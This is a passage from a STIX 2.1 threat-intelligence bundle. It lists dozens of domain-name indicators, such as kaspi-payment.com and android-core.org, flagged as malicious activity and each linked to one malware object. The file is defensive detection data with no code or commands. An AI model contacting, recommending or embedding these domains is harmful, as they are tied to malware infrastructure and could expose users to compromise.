"2024-01-26T21:28:21.27313Z", "relationship_type": "indicates", "source_ref": "indicator--bdaffa31-35c1-4a2d-8a50-787dc061fb1d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7560c5e2-8d8e-44df-9d1f-4c14f410aab3", "created": "2024-01-26T21:28:21.27323Z", "modified": "2024-01-26T21:28:21.27323Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mixershake.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.27323Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--561f86ed-2e0b-41d7-9605-d37df69e9b7d", "created": "2024-01-26T21:28:21.273615Z", "modified": "2024-01-26T21:28:21.273615Z", "relationship_type": "indicates", "source_ref": "indicator--7560c5e2-8d8e-44df-9d1f-4c14f410aab3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f033d968-6cce-455f-91c9-40e198f7356c", "created": "2024-01-26T21:28:21.273716Z", "modified": "2024-01-26T21:28:21.273716Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kaspi-payment.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.273716Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--27b89ad0-8cc5-4c67-a6cc-19ff221f451a", "created": "2024-01-26T21:28:21.274103Z", "modified": "2024-01-26T21:28:21.274103Z", "relationship_type": "indicates", "source_ref": "indicator--f033d968-6cce-455f-91c9-40e198f7356c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ae8c5845-dbda-409f-add9-42fc8f721fd0", "created": "2024-01-26T21:28:21.274199Z", "modified": "2024-01-26T21:28:21.274199Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='holiday-sun.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.274199Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--88c21557-1543-4825-bea5-6b9a21051849", "created": "2024-01-26T21:28:21.274584Z", "modified": "2024-01-26T21:28:21.274584Z", "relationship_type": "indicates", "source_ref": "indicator--ae8c5845-dbda-409f-add9-42fc8f721fd0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f0ad43fe-84fa-4e36-ac6c-c63e972e60f4", "created": "2024-01-26T21:28:21.274686Z", "modified": "2024-01-26T21:28:21.274686Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ourorder.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.274686Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a52a077b-abee-4f7a-806d-1fe80e6c6466", "created": "2024-01-26T21:28:21.275068Z", "modified": "2024-01-26T21:28:21.275068Z", "relationship_type": "indicates", "source_ref": "indicator--f0ad43fe-84fa-4e36-ac6c-c63e972e60f4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4ddfd00f-5d3f-48c7-83c3-2af353bd2c6c", "created": "2024-01-26T21:28:21.275164Z", "modified": "2024-01-26T21:28:21.275164Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='transferbase.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.275164Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4883f5aa-c55b-421d-9a20-23293c28fa6e", "created": "2024-01-26T21:28:21.275555Z", "modified": "2024-01-26T21:28:21.275555Z", "relationship_type": "indicates", "source_ref": "indicator--4ddfd00f-5d3f-48c7-83c3-2af353bd2c6c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--674f4ba9-ecf9-43bd-85de-44d6e3661182", "created": "2024-01-26T21:28:21.275651Z", "modified": "2024-01-26T21:28:21.275651Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='preventadmission.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.275651Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6be24ac4-4c84-4451-a7ab-a6ff9f71d489", "created": "2024-01-26T21:28:21.276041Z", "modified": "2024-01-26T21:28:21.276041Z", "relationship_type": "indicates", "source_ref": "indicator--674f4ba9-ecf9-43bd-85de-44d6e3661182", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cff783bb-1ece-4b43-9c41-9c6cad759dca", "created": "2024-01-26T21:28:21.276136Z", "modified": "2024-01-26T21:28:21.276136Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ar-tweets.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.276136Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1369532f-9510-41a7-8fcf-901704091caa", "created": "2024-01-26T21:28:21.276603Z", "modified": "2024-01-26T21:28:21.276603Z", "relationship_type": "indicates", "source_ref": "indicator--cff783bb-1ece-4b43-9c41-9c6cad759dca", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--294a0521-ce5c-4988-b47c-60d44dee6d79", "created": "2024-01-26T21:28:21.276702Z", "modified": "2024-01-26T21:28:21.276702Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='turkeynewsupdates.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.276702Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5534ba86-c097-4c98-bbd0-348ac141aa71", "created": "2024-01-26T21:28:21.277092Z", "modified": "2024-01-26T21:28:21.277092Z", "relationship_type": "indicates", "source_ref": "indicator--294a0521-ce5c-4988-b47c-60d44dee6d79", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ebee75f4-1039-4fe9-98a2-614dbf8de471", "created": "2024-01-26T21:28:21.277189Z", "modified": "2024-01-26T21:28:21.277189Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestfriendneedshelp.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.277189Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d9ee45c0-5d3e-4820-abb6-71372f5825f3", "created": "2024-01-26T21:28:21.277583Z", "modified": "2024-01-26T21:28:21.277583Z", "relationship_type": "indicates", "source_ref": "indicator--ebee75f4-1039-4fe9-98a2-614dbf8de471", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--689dc6d9-e98a-4817-9154-4893ad01228b", "created": "2024-01-26T21:28:21.277682Z", "modified": "2024-01-26T21:28:21.277682Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='android-core.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.277682Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--83ce99cb-7586-4f7b-b6b9-c2be77b0cec3", "created": "2024-01-26T21:28:21.278067Z", "modified": "2024-01-26T21:28:21.278067Z", "relationship_type": "indicates", "source_ref": "indicator--689dc6d9-e98a-4817-9154-4893ad01228b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6ad44071-84ce-4b5d-867f-7f9bc8b574f5", "created": "2024-01-26T21:28:21.278163Z", "modified": "2024-01-26T21:28:21.278163Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='networkinfo.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.278163Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c72e6ab2-310e-4177-ac88-432630e536ae", "created": "2024-01-26T21:28:21.278546Z", "modified": "2024-01-26T21:28:21.278546Z", "relationship_type": "indicates", "source_ref": "indicator--6ad44071-84ce-4b5d-867f-7f9bc8b574f5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--76a0f6e5-3457-4971-8902-e9e228d786ec", "created": "2024-01-26T21:28:21.278642Z", "modified": "2024-01-26T21:28:21.278642Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loisiragogo.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.278642Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f89517ab-335f-45ce-9dd4-1d5850e47e5d", "created": "2024-01-26T21:28:21.279027Z", "modified": "2024-01-26T21:28:21.279027Z", "relationship_type": "indicates", "source_ref": "indicator--76a0f6e5-3457-4971-8902-e9e228d786ec", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6e7656a-1a66-4970-a546-b0c5b6464574", "created": "2024-01-26T21:28:21.279125Z", "modified": "2024-01-26T21:28:21.279125Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='do-itonyour-own.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.279125Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5cd2e1a8-4ec6-4464-a665-e958f51bcfce", "created": "2024-01-26T21:28:21.279522Z", "modified": "2024-01-26T21:28:21.279522Z", "relationship_type": "indicates", "source_ref": "indicator--c6e7656a-1a66-4970-a546-b0c5b6464574", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8bc769d6-b32e-4c5e-abe9-cb18d5b8cfe6", "created": "2024-01-26T21:28:21.279625Z", "modified": "2024-01-26T21:28:21.279625Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cell-mcel.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.279625Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6e2b6d43-9ad8-44e2-8749-2300a50b6366", "created": "2024-01-26T21:28:21.280009Z", "modified": "2024-01-26T21:28:21.280009Z", "relationship_type": "indicates", "source_ref": "indicator--8bc769d6-b32e-4c5e-abe9-cb18d5b8cfe6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f6d2f74b-f0d5-4a87-9bb1-7aea6a2af6df", "created": "2024-01-26T21:28:21.280103Z", "modified": "2024-01-26T21:28:21.280103Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myfiles.photos']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.280103Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--89524e4f-4472-43df-8413-4dacd224b417", "created": "2024-01-26T21:28:21.280484Z", "modified": "2024-01-26T21:28:21.280484Z", "relationship_type": "indicates", "source_ref": "indicator--f6d2f74b-f0d5-4a87-9bb1-7aea6a2af6df", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--665fc8a6-9d67-47b3-9c4c-4cef35571a1f", "created": "2024-01-26T21:28:21.280578Z", "modified": "2024-01-26T21:28:21.280578Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='buymanuel.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.280578Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e430b3bd-8776-447c-a047-e6251fac26f3", "created": "2024-01-26T21:28:21.281048Z", "modified": "2024-01-26T21:28:21.281048Z", "relationship_type": "indicates", "source_ref": "indicator--665fc8a6-9d67-47b3-9c4c-4cef35571a1f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5b9017ed-9444-43fb-aa05-a09a1d140c3d", "created": "2024-01-26T21:28:21.281146Z", "modified": "2024-01-26T21:28:21.281146Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='trianglerank.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.281146Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--024b5f02-3357-4a61-832c-3111f3c7af80", "created": "2024-01-26T21:28:21.281534Z", "modified": "2024-01-26T21:28:21.281534Z", "relationship_type": "indicates", "source_ref": "indicator--5b9017ed-9444-43fb-aa05-a09a1d140c3d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--62ff9767-f736-4007-8d55-fb3a3af43ff7", "created": "2024-01-26T21:28:21.281654Z", "modified": "2024-01-26T21:28:21.281654Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='practical-basis.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.281654Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--76394140-d7c1-4f0a-9a19-bdcf1298469e", "created": "2024-01-26T21:28:21.282044Z", "modified": "2024-01-26T21:28:21.282044Z", "relationship_type": "indicates", "source_ref": "indicator--62ff9767-f736-4007-8d55-fb3a3af43ff7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--60bd8af2-7bb5-43b2-8b7b-221b467a16a9", "created": "2024-01-26T21:28:21.282144Z", "modified": "2024-01-26T21:28:21.282144Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hracingtips.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.282144Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ced17fbf-7843-4e36-a3d4-3f13ace77d0e", "created": "2024-01-26T21:28:21.282528Z", "modified": "2024-01-26T21:28:21.282528Z", "relationship_type": "indicates", "source_ref": "indicator--60bd8af2-7bb5-43b2-8b7b-221b467a16a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4cac050d-eb6a-4bd7-bb59-72fd96e8af2e", "created": "2024-01-26T21:28:21.282624Z", "modified": "2024-01-26T21:28:21.282624Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tripleclickpays.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.282624Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--599d6e26-45c1-4dd3-baa4-b7d6a40df663", "created": "2024-01-26T21:28:21.283014Z", "modified": "2024-01-26T21:28:21.283014Z", "relationship_type": "indicates", "source_ref": "indicator--4cac050d-eb6a-4bd7-bb59-72fd96e8af2e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--65b65d2b-bec7-45c7-8417-d27a2daec03c", "created": "2024-01-26T21:28:21.283111Z", "modified": "2024-01-26T21:28:21.283111Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urbestfriends.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.283111Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8152f3b7-9107-4696-bdde-5ace8d70f0a1", "created": "2024-01-26T21:28:21.283503Z", "modified": "2024-01-26T21:28:21.283503Z", "relationship_type": "indicates", "source_ref": "indicator--65b65d2b-bec7-45c7-8417-d27a2daec03c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--12b6ab95-4cb9-4710-b50e-48dcca06cd0c", "created": "2024-01-26T21:28:21.283609Z", "modified": "2024-01-26T21:28:21.283609Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='megacenter.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.283609Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0641b0dd-73f7-4ce9-a042-6836cc56deb5", "created": "2024-01-26T21:28:21.283997Z", "modified": "2024-01-26T21:28:21.283997Z", "relationship_type": "indicates", "source_ref": "indicator--12b6ab95-4cb9-4710-b50e-48dcca06cd0c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--22d71eab-d1d1-4223-a5f1-7ae1fc3a76e7", "created": "2024-01-26T21:28:21.284093Z", "modified": "2024-01-26T21:28:21.284093Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='egov-sergek.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.284093Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--37232cf7-29c1-4cf5-9beb-1764f4d4fb00", "created": "2024-01-26T21:28:21.284485Z", "modified": "2024-01-26T21:28:21.284485Z", "relationship_type": "indicates", "source_ref": "indicator--22d71eab-d1d1-4223-a5f1-7ae1fc3a76e7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a131cba3-56fa-4c22-8955-b3baa105691c", "created": "2024-01-26T21:28:21.284581Z", "modified": "2024-01-26T21:28:21.284581Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectcheck.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.284581Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--34271c15-fd84-4a65-a50a-d952ec000880", "created": "2024-01-26T21:28:21.284966Z", "modified": "2024-01-26T21:28:21.284966Z", "relationship_type": "indicates", "source_ref": "indicator--a131cba3-56fa-4c22-8955-b3baa105691c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f90f5360-74c8-458e-906d-d77e378c2bf3", "created": "2024-01-26T21:28:21.285062Z", "modified": "2024-01-26T21:28:21.285062Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='foudefoot.live']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.285062Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--62a1883c-8fa4-43a8-a181-757d83f324f6", "created": "2024-01-26T21:28:21.28553Z", "modified": "2024-01-26T21:28:21.28553Z", "relationship_type": "indicates", "source_ref": "indicator--f90f5360-74c8-458e-906d-d77e378c2bf3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd52797a-a94a-481d-964f-617569a08624", "created": "2024-01-26T21:28:21.285633Z", "modified": "2024-01-26T21:28:21.285633Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sslbind.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.285633Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66293790-799b-4c35-a305-f80a93c79e3c", "created": "2024-01-26T21:28:21.286017Z", "modified": "2024-01-26T21:28:21.286017Z", "relationship_type": "indicates", "source_ref": "indicator--bd52797a-a94a-481d-964f-617569a08624", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5600fe8a-e0eb-420c-80c3-967a8c71abeb", "created": "2024-01-26T21:28:21.286114Z", "modified": "2024-01-26T21:28:21.286114Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newsdirect.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.286114Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--851c15cc-d549-4f4a-ad1e-766a46bf06cf", "created": "2024-01-26T21:28:21.286502Z", "modified": "2024-01-26T21:28:21.286502Z", "relationship_type": "indicates", "source_ref": "indicator--5600fe8a-e0eb-420c-80c3-967a8c71abeb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8f01b5f8-0600-48ab-a6f1-838cb2b41ebc", "created": "2024-01-26T21:28:21.286598Z", "modified": "2024-01-26T21:28:21.286598Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='winter-balance.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.286598Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ea121328-537c-4e91-bad3-4949c06975c2", "created": "2024-01-26T21:28:21.286983Z", "modified": "2024-01-26T21:28:21.286983Z", "relationship_type": "indicates", "source_ref": "indicator--8f01b5f8-0600-48ab-a6f1-838cb2b41ebc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--334bc719-9f4f-4f3e-83af-7ae64f380149", "created": "2024-01-26T21:28:21.28708Z", "modified": "2024-01-26T21:28:21.28708Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='services-sync.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.28708Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0e301b47-d040-455c-a8c3-988d6f95227d", "created": "2024-01-26T21:28:21.287464Z", "modified": "2024-01-26T21:28:21.287464Z", "relationship_type": "indicates", "source_ref": "indicator--334bc719-9f4f-4f3e-83af-7ae64f380149", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e03fdf09-4518-4bb6-827d-2003062ae995", "created": "2024-01-26T21:28:21.287566Z", "modified": "2024-01-26T21:28:21.287566Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='statsupplier.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.287566Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--50226bb4-d6fc-49aa-8044-d20f8a12983c", "created": "2024-01-26T21:28:21.287949Z", "modified": "2024-01-26T21:28:21.287949Z", "relationship_type": "indicates", "source_ref": "indicator--e03fdf09-4518-4bb6-827d-2003062ae995", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9688f5c8-673f-499b-b5af-dce1fc1235fb", "created": "2024-01-26T21:28:21.288044Z", "modified": "2024-01-26T21:28:21.288044Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='freshsaladtoday.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.288044Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--72f79fba-fb43-4ea5-9754-4a43c771cc74", "created": "2024-01-26T21:28:21.288432Z", "modified": "2024-01-26T21:28:21.288432Z", "relationship_type": "indicates", "source_ref": "indicator--9688f5c8-673f-499b-b5af-dce1fc1235fb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2ecf9a0a-0164-4ddd-af41-9970dff15331", "created": "2024-01-26T21:28:21.288525Z", "modified": "2024-01-26T21:28:21.288525Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='beststores4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.288525Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6771bb76-e42f-41fe-b859-74881c1a6d80", "created": "2024-01-26T21:28:21.288914Z", "modified": "2024-01-26T21:28:21.288914Z", "relationship_type": "indicates", "source_ref": "indicator--2ecf9a0a-0164-4ddd-af41-9970dff15331", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--31658cb9-00bc-4ad0-b0c1-c60d0478a630", "created": "2024-01-26T21:28:21.28901Z", "modified": "2024-01-26T21:28:21.28901Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='celebrateyourdaynow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.28901Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e6bb5d74-80cc-432f-9326-e2d73f2f5554", "created": "2024-01-26T21:28:21.289402Z", "modified": "2024-01-26T21:28:21.289402Z", "relationship_type": "indicates", "source_ref": "indicator--31658cb9-00bc-4ad0-b0c1-c60d0478a630", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--074b3cd6-0fdc-43f3-ad82-99112b4f307b", "created": "2024-01-26T21:28:21.289503Z", "modified": "2024-01-26T21:28:21.289503Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='site-redirecting.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.289503Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--84b36746-e477-4056-acaa-3a51b176e25b", "created": "2024-01-26T21:28:21.289973Z", "modified": "2024-01-26T21:28:21.289973Z", "relationship_type": "indicates", "source_ref": "indicator--074b3cd6-0fdc-43f3-ad82-99112b4f307b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--696b8c2f-2a5b-445c-9c51-b7b116bca7e7", "created": "2024-01-26T21:28:21.290071Z", "modified": "2024-01-26T21:28:21.290071Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shuturl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.290071Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--53910050-5246-4c8a-a413-5859ac029712", "created": "2024-01-26T21:28:21.290457Z", "modified": "2024-01-26T21:28:21.290457Z", "relationship_type": "indicates", "source_ref": "indicator--696b8c2f-2a5b-445c-9c51-b7b116bca7e7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b2879760-d8de-4e50-b09d-1166b34a1b3b", "created": "2024-01-26T21:28:21.290555Z", "modified": "2024-01-26T21:28:21.290555Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='speechenforce.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.290555Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b4e058cf-e9cf-461d-99e8-2354cee7be63", "created": "2024-01-26T21:28:21.29094Z", "modified": "2024-01-26T21:28:21.29094Z", "relationship_type": "indicates", "source_ref": "indicator--b2879760-d8de-4e50-b09d-1166b34a1b3b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e51bfd54-f69c-4efa-a83e-3bfaed2fdd57", "created": "2024-01-26T21:28:21.291041Z", "modified": "2024-01-26T21:28:21.291041Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestsushiever.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.291041Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d0dcb0b8-a94e-4099-a881-3655191c9f2d", "created": "2024-01-26T21:28:21.291426Z", "modified": "2024-01-26T21:28:21.291426Z", "relationship_type": "indicates", "source_ref": "indicator--e51bfd54-f69c-4efa-a83e-3bfaed2fdd57", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5957da26-7d61-4a2d-86c7-989053c509e3", "created": "2024-01-26T21:28:21.291526Z", "modified": "2024-01-26T21:28:21.291526Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='keepthiseasy.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.291526Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5cac56a4-9b30-4eff-a6f5-28decd5bc710", "created": "2024-01-26T21:28:21.291913Z", "modified": "2024-01-26T21:28:21.291913Z", "relationship_type": "indicates", "source_ref": "indicator--5957da26-7d61-4a2d-86c7-989053c509e3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac762fa4-5780-4dab-90ec-5d9e534be783", "created": "2024-01-26T21:28:21.292009Z", "modified": "2024-01-26T21:28:21.292009Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='politicalpress.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.292009Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6babbf4d-38fb-47d8-81e4-0ecfef6f4091", "created": "2024-01-26T21:28:21.292399Z", "modified": "2024-01-26T21:28:21.292399Z", "relationship_type": "indicates", "source_ref": 